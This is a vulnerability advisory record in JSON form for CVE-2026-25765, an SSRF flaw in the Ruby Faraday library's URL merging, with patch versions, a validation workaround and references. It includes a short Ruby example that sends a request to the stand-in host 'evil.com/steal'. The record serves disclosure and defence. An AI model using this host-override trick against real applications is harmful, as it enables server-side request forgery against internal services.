{"id":"CVE-2026-25765","aliases":["GHSA-33mh-2634-fwr2"],"url":"https://o3.security/vulnerability/CVE-2026-25765","summary":"Faraday affected by SSRF via protocol-relative URL host override in build_exclusive_url","details":"### Impact\n\n  Faraday's `build_exclusive_url` method (in `lib/faraday/connection.rb`) uses Ruby's\n  `URI#merge` to combine the connection's base URL with a user-supplied path. Per RFC 3986,\n  protocol-relative URLs (e.g. `//evil.com/path`) are treated as network-path references\n  that override the base URL's host/authority component.\n\n  This means that if any application passes user-controlled input to Faraday's `get()`,\n  `post()`, `build_url()`, or other request methods, an attacker can supply a\n  protocol-relative URL like `//attacker.com/endpoint` to redirect the request to an\n  arbitrary host, enabling Server-Side Request Forgery (SSRF).\n\n  The `./` prefix guard added in v2.9.2 (PR #1569) explicitly exempts URLs starting with\n  `/`, so protocol-relative URLs bypass it entirely.\n\n  **Example:**\n  ```ruby\n  conn = Faraday.new(url: 'https://api.internal.com')\n  conn.get('//evil.com/steal')\n  # Request is sent to https://evil.com/steal instead of api.internal.com\n  ```\n\n### Patches\n\n  Faraday v2.14.1 is patched against this security issue. All versions of Faraday up to 2.14.0 are affected.\n\n### Workarounds\n\n  **NOTE: Upgrading to Faraday v2.14.1+ is the recommended action to mitigate this issue, however should that not be an option please continue reading.**\n\n  Applications should validate and sanitize any user-controlled input before passing it to\n  Faraday request methods. Specifically:\n\n  - Reject or strip input that starts with // followed by a non-/ character\n  - Use an allowlist of permitted path prefixes\n  - Alternatively, prepend ./ to all user-supplied paths before passing them to Faraday\n\n  Example validation:\n  ```ruby\n  def safe_path(user_input)\n    raise ArgumentError, \"Invalid path\" if user_input.match?(%r{\\A//[^/]})\n    user_input\n  end\n  ```","published":"2026-02-09T20:30:58.774Z","modified":"2026-08-12T03:51:31.212215574Z","cvss":{"score":5.8,"severity":"MEDIUM","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:N/A:N"},"epss":null,"cisaKev":null,"exploitsKnown":0,"affectedPackages":[{"ecosystem":"RubyGems","name":"faraday","fixedVersion":"2.14.1"},{"ecosystem":"RubyGems","name":"faraday","fixedVersion":"1.10.5"}],"fix":{"url":"https://github.com/lostisland/faraday/commit/a6d3a3a0bf59c2ab307d0abd91bc126aef5561bc","label":"lostisland/faraday@a6d3a3a"},"references":[{"type":"WEB","url":"https://github.com/lostisland/faraday/releases/tag/v2.14.1"},{"type":"ADVISORY","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/25xxx/CVE-2026-25765.json"},{"type":"ADVISORY","url":"https://github.com/lostisland/faraday/security/advisories/GHSA-33mh-2634-fwr2"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-25765"},{"type":"FIX","url":"https://github.com/lostisland/faraday/commit/a6d3a3a0bf59c2ab307d0abd91bc126aef5561bc"},{"type":"WEB","url":"https://github.com/lostisland/faraday/pull/1569"},{"type":"PACKAGE","url":"https://github.com/lostisland/faraday"},{"type":"WEB","url":"https://github.com/lostisland/faraday/releases/tag/v1.10.5"},{"type":"WEB","url":"https://github.com/rubysec/ruby-advisory-db/blob/master/gems/faraday/CVE-2026-25765.yml"},{"type":"WEB","url":"https://www.rfc-editor.org/rfc/rfc3986#section-5.2.2"},{"type":"WEB","url":"https://www.rfc-editor.org/rfc/rfc3986#section-5.4"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-08-12T03:51:31.212215574Z"}}